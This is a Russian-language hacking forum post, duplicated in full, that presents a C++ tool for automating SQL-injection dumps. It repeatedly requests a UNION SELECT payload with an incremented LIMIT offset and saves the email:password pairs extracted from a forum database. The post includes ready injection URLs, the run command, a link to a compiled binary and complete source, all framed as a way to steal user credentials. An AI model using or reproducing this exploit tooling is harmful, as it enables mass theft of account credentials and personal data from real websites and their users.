je0n
13.11.2007, 17:59
SQL-outjection
intro
У меня была скуль-инъекция и я нашел базу форума с открытыми паролями и мылами юзеров. Копировать каждый мыльник в ручную мне было не по каифу и я написал прогу, которая это автоматизирует.
Как работает:
Вы показываете программе скуль-инжекшн, далее она сама делает GET-запросы, каждый раз увеличивая параметр limit x,1 на единицу. И из полученного ответа программа выдирает все, что находится между тегами <start> и </start> и сохраняет в файл. А теги <start> и </start> вы указываете в вашей инъекции.
Пример:
У вас есть уязвимость типа:
http://xxx.com/news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,con cat(email,char(58),passwd),9,10,11,12+from+busers+ where+1+limit+0,1/*
которая выводит логин пароль в виде:nick: pass
Теперь, чтобы программа врубилась где на странице эта пара nick: pass, необходимо ее заключить между тегами: <start>nick: pass</start>
То есть, нужно лишь чуть-чуть изменить запрос к БД. Вот так:
http://xxx.com/news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,con cat(char(60,115,116,97,114,116,62),email,char(58), passwd,char(60,47,115,116,97,114,116,62)),9,10,11, 12+from+busers+where+1+limit+0,1/*
где,
char(60,115,116,97,114,116,62) - это закодиравынный тэг <start>
То есть этот запрос выведит, то что нам и нужно:
<start>nick: pass</start>
Вот такой запрос и нужно указать программе.
Т.к. программа бета-бета-бета версия и вряд ли будет другая версия, т.к. эта меня вполне устраивает, то обязательно нужно, чтобы в запросе скуль-инъекции после слова limit стоял +. (limit+x,1). limit должно быть написано маленькими буквами!!! Короче, должно соответствовать, показанным примерам.
Запуск программы:
теперь покажу как запускать прогу, чтобы уже она делала дамп. Мы хотим хекать сайт xxx.com. Наша инъекция имеет такой вид (вместе с тегами <start> и </start>:
/news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,con cat(char(60,115,116,97,114,116,62),email,char(58), passwd,char(60,47,115,116,97,114,116,62)),9,10,11, 12+from+busers+where+1+limit+0,1/*
мы сохраняем все в файл 1.txt.
Пример:
______________________
sql-outjection.exe xxx.com /news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,con cat(char(60,115,116,97,114,116,62),email,char(58), passwd,char(60,47,115,116,97,114,116,62)),9,10,11, 12+from+busers+where+1+limit+0,1/* 1.txt
______________________
ВСЕ!
Если все сделали правильно, то должны начать отображаться текущие дампы из БД, то есть то, что между тегами <start> и </start>. Когда все записи в БД закончатся программа напишет FINISH. Вот, собственно и все.
Программа:
http://ifolder.ru/4118527 - атканпилированныя
//SQL-outjection tool :)
//by je0n
#include <iostream>
#include <stdio.h>
#include <winsock2.h>
#include <string.h>
#include <time.h>
char* GETRequest(char*,char*);
char* str_replace(char*,char*,char*);
char* ChangeRequestToNextRaw(char* request);
int main(int argc, char* argv[])
{
if(argc==4)
{
char buf[50000];
char server[100];
char page[2000];
char filename[255];
BOOL b=true;
int start=0;int finish=0;int limit=0;
lstrcpy(server,argv[1]);
lstrcpy(page,argv[2]);
lstrcpy(filename,argv[3]);
while(b)
{
lstrcpy(buf,GETRequest(server,page));
start=(int)(strstr(buf,"<start>")-(DWORD)buf); //после какого слова начинать выборку
finish=(int)(strstr(buf,"</start>")-(DWORD)buf); //каким словом выборку заканчивать
if(start<finish && start>0 && finish>0)
{
int found_string_length=finish-start-6;
char found_string[100];
lstrcpyn(found_string,buf+start+7,found_string_len gth);
printf(found_string);
printf("\r\n");
FILE* f=fopen(filename,"a+");
fputs(found_string,f);
fputs("\r\n",f);
fclose(f);
lstrcpy(page,ChangeRequestToNextRaw(page));
}
else b=false;
}
printf("\r\nFINISHED");
//puts(buf);
}
else
{
printf("1st parametr:\r\n");
ChangeRequestToNextRaw("urururu limit 1234,1");
}
return 0;
}
char* GETRequest(char* server,char* page)
{
WSADATA sock_info;
int err=WSAStartup(MAKEWORD(2,0),&sock_info);
if(err==SOCKET_ERROR)
{
printf("WSAStartup error");
return 0;
}
int sock;
struct sockaddr_in sa;
struct hostent* h;
char page_text[50000];
char buf_in[2];
char buf_out[500];
int x;
sa.sin_family=AF_INET;
sa.sin_port=htons(80);
h=gethostbyname(server);
memcpy(&sa.sin_addr,h->h_addr_list[0],h->h_length);
sock=socket(AF_INET,SOCK_STREAM,0);
if(connect(sock,(sockaddr*)&sa,sizeof(sa))<0)
{
printf("connect() error");
return 0;
}
lstrcpy(buf_out,"GET "); //Составляем GET-запрос
lstrcat(buf_out,page);
lstrcat(buf_out," HTTP/1.0\r\n");
send(sock,buf_out,lstrlen(buf_out),0);
lstrcpy(buf_out,"Host: izobilnik.ru\r\n");
send(sock,buf_out,lstrlen(buf_out),0);
lstrcpy(buf_out,"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*\r\n"); //заголовок Accept:
send(sock,buf_out,lstrlen(buf_out),0);
lstrcpy(buf_out,"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\r\n\r\n"); //заголовок User-Agent:
send(sock,buf_out,lstrlen(buf_out),0);
lstrcpy(page_text,"");
x=recv(sock,buf_in,sizeof(buf_in)-1,0); //в buf_in должен быть заголовок Content-length,его надо прочитать и превратить в цифру, чтобы потом знать, когда я получу последний символ страницы, чтобы не вызвать левый вызов recv()
while(x>0) //Хотя я как посмотрю, сейчас оно НАХУЙ НЕ НАДО!!!
{
buf_in[x]=0;
lstrcat(page_text,buf_in);
//printf(buf_in);
x=recv(sock,buf_in,sizeof(buf_in)-1,0);
}
closesocket(sock);
return page_text;
}
char* ChangeRequestToNextRaw(char* request)
{
int n=0;int zpt_pos=0;
char limit_string[10];
char returned[1000];
n=(int)(strstr(request,"limit")-(DWORD)request);
// printf(request);
if(request[n+5]==' ' || request[n+5]=='+')
{
zpt_pos=(int)(strstr(request+n+6,",")-(DWORD)(request+n+6));
itoa(zpt_pos,limit_string,10);
//printf(limit_string);
if(zpt_pos>0)
{
lstrcpyn(limit_string,request+n+6,zpt_pos+1);
// printf(request);
// printf("\r\n");
// printf(limit_string);
int limit=atoi(limit_string)+1;
itoa(limit,limit_string,10);
lstrcpyn(returned,request,n+7);
lstrcat(returned,limit_string);
lstrcat(returned,request+n+6+zpt_pos);
// printf("\r\n");
// printf(returned);
return returned;
}
else
{
printf("error in ChangeRequestToNextRaw(),cant find ','");
return 0;
}
}
}
char* str_replace(char* source,char* from,char* to)
{
int size=strlen(source)+strlen(from)+strlen(to);
char* str=new char[size];
char left[10000];
char right[10000];
int n=0;
memset(str,0,size);
while(str=strstr(source+n,from))
{
lstrcpyn(left,source,str-source+1);
lstrcpy(right,str+lstrlen(from));
lstrcpy(source,left);
lstrcat(source,to);
lstrcat(source,right);
n=(DWORD)(str)-(DWORD)(source)+lstrlen(to);
}
return source;
}
P.S. Я знаю, что кодер из меня никакущий, потому можете не говорить, что она криво написано. Я это знаю! В данном случае мне важен результат. не более.
P.S.S. Вообще она конечно примитивна, не поддерживает пост-запросы, куки, и прокси. Но для большинства случаев подойдет!
intro
У меня была скуль-инъекция и я нашел базу форума с открытыми паролями и мылами юзеров. Копировать каждый мыльник в ручную мне было не по каифу и я написал прогу, которая это автоматизирует.
Как работает:
Вы показываете программе скуль-инжекшн, далее она сама делает GET-запросы, каждый раз увеличивая параметр limit x,1 на единицу. И из полученного ответа программа выдирает все, что находится между тегами <start> и </start> и сохраняет в файл. А теги <start> и </start> вы указываете в вашей инъекции.
Пример:
У вас есть уязвимость типа:
http://xxx.com/news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,con cat(email,char(58),passwd),9,10,11,12+from+busers+ where+1+limit+0,1/*
которая выводит логин пароль в виде:nick: pass
Теперь, чтобы программа врубилась где на странице эта пара nick: pass, необходимо ее заключить между тегами: <start>nick: pass</start>
То есть, нужно лишь чуть-чуть изменить запрос к БД. Вот так:
http://xxx.com/news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,con cat(char(60,115,116,97,114,116,62),email,char(58), passwd,char(60,47,115,116,97,114,116,62)),9,10,11, 12+from+busers+where+1+limit+0,1/*
где,
char(60,115,116,97,114,116,62) - это закодиравынный тэг <start>
То есть этот запрос выведит, то что нам и нужно:
<start>nick: pass</start>
Вот такой запрос и нужно указать программе.
Т.к. программа бета-бета-бета версия и вряд ли будет другая версия, т.к. эта меня вполне устраивает, то обязательно нужно, чтобы в запросе скуль-инъекции после слова limit стоял +. (limit+x,1). limit должно быть написано маленькими буквами!!! Короче, должно соответствовать, показанным примерам.
Запуск программы:
теперь покажу как запускать прогу, чтобы уже она делала дамп. Мы хотим хекать сайт xxx.com. Наша инъекция имеет такой вид (вместе с тегами <start> и </start>:
/news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,con cat(char(60,115,116,97,114,116,62),email,char(58), passwd,char(60,47,115,116,97,114,116,62)),9,10,11, 12+from+busers+where+1+limit+0,1/*
мы сохраняем все в файл 1.txt.
Пример:
______________________
sql-outjection.exe xxx.com /news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,con cat(char(60,115,116,97,114,116,62),email,char(58), passwd,char(60,47,115,116,97,114,116,62)),9,10,11, 12+from+busers+where+1+limit+0,1/* 1.txt
______________________
ВСЕ!
Если все сделали правильно, то должны начать отображаться текущие дампы из БД, то есть то, что между тегами <start> и </start>. Когда все записи в БД закончатся программа напишет FINISH. Вот, собственно и все.
Программа:
http://ifolder.ru/4118527 - атканпилированныя
//SQL-outjection tool :)
//by je0n
#include <iostream>
#include <stdio.h>
#include <winsock2.h>
#include <string.h>
#include <time.h>
char* GETRequest(char*,char*);
char* str_replace(char*,char*,char*);
char* ChangeRequestToNextRaw(char* request);
int main(int argc, char* argv[])
{
if(argc==4)
{
char buf[50000];
char server[100];
char page[2000];
char filename[255];
BOOL b=true;
int start=0;int finish=0;int limit=0;
lstrcpy(server,argv[1]);
lstrcpy(page,argv[2]);
lstrcpy(filename,argv[3]);
while(b)
{
lstrcpy(buf,GETRequest(server,page));
start=(int)(strstr(buf,"<start>")-(DWORD)buf); //после какого слова начинать выборку
finish=(int)(strstr(buf,"</start>")-(DWORD)buf); //каким словом выборку заканчивать
if(start<finish && start>0 && finish>0)
{
int found_string_length=finish-start-6;
char found_string[100];
lstrcpyn(found_string,buf+start+7,found_string_len gth);
printf(found_string);
printf("\r\n");
FILE* f=fopen(filename,"a+");
fputs(found_string,f);
fputs("\r\n",f);
fclose(f);
lstrcpy(page,ChangeRequestToNextRaw(page));
}
else b=false;
}
printf("\r\nFINISHED");
//puts(buf);
}
else
{
printf("1st parametr:\r\n");
ChangeRequestToNextRaw("urururu limit 1234,1");
}
return 0;
}
char* GETRequest(char* server,char* page)
{
WSADATA sock_info;
int err=WSAStartup(MAKEWORD(2,0),&sock_info);
if(err==SOCKET_ERROR)
{
printf("WSAStartup error");
return 0;
}
int sock;
struct sockaddr_in sa;
struct hostent* h;
char page_text[50000];
char buf_in[2];
char buf_out[500];
int x;
sa.sin_family=AF_INET;
sa.sin_port=htons(80);
h=gethostbyname(server);
memcpy(&sa.sin_addr,h->h_addr_list[0],h->h_length);
sock=socket(AF_INET,SOCK_STREAM,0);
if(connect(sock,(sockaddr*)&sa,sizeof(sa))<0)
{
printf("connect() error");
return 0;
}
lstrcpy(buf_out,"GET "); //Составляем GET-запрос
lstrcat(buf_out,page);
lstrcat(buf_out," HTTP/1.0\r\n");
send(sock,buf_out,lstrlen(buf_out),0);
lstrcpy(buf_out,"Host: izobilnik.ru\r\n");
send(sock,buf_out,lstrlen(buf_out),0);
lstrcpy(buf_out,"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*\r\n"); //заголовок Accept:
send(sock,buf_out,lstrlen(buf_out),0);
lstrcpy(buf_out,"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\r\n\r\n"); //заголовок User-Agent:
send(sock,buf_out,lstrlen(buf_out),0);
lstrcpy(page_text,"");
x=recv(sock,buf_in,sizeof(buf_in)-1,0); //в buf_in должен быть заголовок Content-length,его надо прочитать и превратить в цифру, чтобы потом знать, когда я получу последний символ страницы, чтобы не вызвать левый вызов recv()
while(x>0) //Хотя я как посмотрю, сейчас оно НАХУЙ НЕ НАДО!!!
{
buf_in[x]=0;
lstrcat(page_text,buf_in);
//printf(buf_in);
x=recv(sock,buf_in,sizeof(buf_in)-1,0);
}
closesocket(sock);
return page_text;
}
char* ChangeRequestToNextRaw(char* request)
{
int n=0;int zpt_pos=0;
char limit_string[10];
char returned[1000];
n=(int)(strstr(request,"limit")-(DWORD)request);
// printf(request);
if(request[n+5]==' ' || request[n+5]=='+')
{
zpt_pos=(int)(strstr(request+n+6,",")-(DWORD)(request+n+6));
itoa(zpt_pos,limit_string,10);
//printf(limit_string);
if(zpt_pos>0)
{
lstrcpyn(limit_string,request+n+6,zpt_pos+1);
// printf(request);
// printf("\r\n");
// printf(limit_string);
int limit=atoi(limit_string)+1;
itoa(limit,limit_string,10);
lstrcpyn(returned,request,n+7);
lstrcat(returned,limit_string);
lstrcat(returned,request+n+6+zpt_pos);
// printf("\r\n");
// printf(returned);
return returned;
}
else
{
printf("error in ChangeRequestToNextRaw(),cant find ','");
return 0;
}
}
}
char* str_replace(char* source,char* from,char* to)
{
int size=strlen(source)+strlen(from)+strlen(to);
char* str=new char[size];
char left[10000];
char right[10000];
int n=0;
memset(str,0,size);
while(str=strstr(source+n,from))
{
lstrcpyn(left,source,str-source+1);
lstrcpy(right,str+lstrlen(from));
lstrcpy(source,left);
lstrcat(source,to);
lstrcat(source,right);
n=(DWORD)(str)-(DWORD)(source)+lstrlen(to);
}
return source;
}
P.S. Я знаю, что кодер из меня никакущий, потому можете не говорить, что она криво написано. Я это знаю! В данном случае мне важен результат. не более.
P.S.S. Вообще она конечно примитивна, не поддерживает пост-запросы, куки, и прокси. Но для большинства случаев подойдет!